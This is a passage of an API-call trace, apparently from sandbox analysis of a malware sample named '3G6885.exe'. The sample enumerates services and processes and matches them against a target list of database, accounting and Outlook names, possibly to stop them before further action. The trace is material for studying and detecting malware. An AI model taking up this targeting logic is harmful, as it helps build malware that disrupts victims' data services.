(lpString="lmhosts") returned 7 [0132.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0132.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0132.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0132.564] lstrlenW (lpString="MMCSS") returned 5 [0132.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0132.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0132.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0132.564] lstrlenW (lpString="MpsSvc") returned 6 [0132.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0132.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0132.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0132.565] lstrlenW (lpString="NlaSvc") returned 6 [0132.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0132.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0132.565] lstrlenW (lpString="nsi") returned 3 [0132.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0132.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0132.565] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0132.565] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0132.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0132.565] lstrlenW (lpString="PcaSvc") returned 6 [0132.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0132.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0132.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0132.565] lstrlenW (lpString="PlugPlay") returned 8 [0132.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0132.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0132.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0132.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0132.566] lstrlenW (lpString="Power") returned 5 [0132.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0132.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0132.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0132.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0132.566] lstrlenW (lpString="ProfSvc") returned 7 [0132.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0132.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0132.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0132.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0132.566] lstrlenW (lpString="RpcEptMapper") returned 12 [0132.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0132.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0132.566] lstrlenW (lpString="RpcSs") returned 5 [0132.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0132.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0132.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0132.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0132.566] lstrlenW (lpString="SamSs") returned 5 [0132.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0132.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0132.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0132.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0132.567] lstrlenW (lpString="Schedule") returned 8 [0132.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0132.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0132.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0132.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0132.567] lstrlenW (lpString="SENS") returned 4 [0132.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0132.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0132.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0132.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0132.567] lstrlenW (lpString="ShellHWDetection") returned 16 [0132.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0132.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0132.567] lstrlenW (lpString="Spooler") returned 7 [0132.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0132.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0132.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0132.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0132.567] lstrlenW (lpString="Themes") returned 6 [0132.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0132.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0132.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0132.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0132.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0132.567] lstrlenW (lpString="UxSms") returned 5 [0132.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0132.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0132.568] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0132.568] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0132.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0132.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af7c20 | out: hHeap=0x300000) returned 1 [0132.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0132.570] Process32FirstW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.570] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.570] lstrlenW (lpString="System") returned 6 [0132.570] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0132.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0132.571] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.571] lstrlenW (lpString="smss.exe") returned 8 [0132.571] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0132.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0132.571] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.572] lstrlenW (lpString="csrss.exe") returned 9 [0132.572] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0132.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0132.572] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0132.573] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0132.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0132.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0132.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0132.573] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.573] lstrlenW (lpString="wininit.exe") returned 11 [0132.573] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0132.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0132.573] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.573] lstrlenW (lpString="csrss.exe") returned 9 [0132.573] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0132.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0132.574] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0132.574] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0132.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0132.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0132.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0132.574] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.574] lstrlenW (lpString="winlogon.exe") returned 12 [0132.574] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0132.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0132.574] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.575] lstrlenW (lpString="services.exe") returned 12 [0132.575] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0132.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0132.575] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.575] lstrlenW (lpString="lsass.exe") returned 9 [0132.575] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0132.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0132.575] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0132.575] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0132.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0132.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0132.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0132.575] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.576] lstrlenW (lpString="lsm.exe") returned 7 [0132.576] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0132.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0132.576] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0132.576] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0132.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0132.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0132.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0132.576] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.577] lstrlenW (lpString="svchost.exe") returned 11 [0132.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.577] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.577] lstrlenW (lpString="svchost.exe") returned 11 [0132.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.577] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.578] lstrlenW (lpString="svchost.exe") returned 11 [0132.578] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.578] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.578] lstrlenW (lpString="svchost.exe") returned 11 [0132.578] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.578] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.579] lstrlenW (lpString="svchost.exe") returned 11 [0132.579] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.579] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.579] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.579] lstrlenW (lpString="audiodg.exe") returned 11 [0132.579] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.580] lstrlenW (lpString="svchost.exe") returned 11 [0132.580] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.580] lstrlenW (lpString="svchost.exe") returned 11 [0132.580] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.580] lstrlenW (lpString="spoolsv.exe") returned 11 [0132.580] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.581] lstrlenW (lpString="taskhost.exe") returned 12 [0132.581] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.582] lstrlenW (lpString="svchost.exe") returned 11 [0132.582] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0132.582] lstrlenW (lpString="userinit.exe") returned 12 [0132.582] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.582] lstrlenW (lpString="dwm.exe") returned 7 [0132.582] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.583] lstrlenW (lpString="explorer.exe") returned 12 [0132.583] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0132.583] lstrlenW (lpString="3G6885.exe") returned 10 [0132.583] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0132.583] lstrlenW (lpString="reader_sl.exe") returned 13 [0132.583] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.583] lstrlenW (lpString="dllhost.exe") returned 11 [0132.584] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0132.584] lstrlenW (lpString="cmd.exe") returned 7 [0132.584] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) 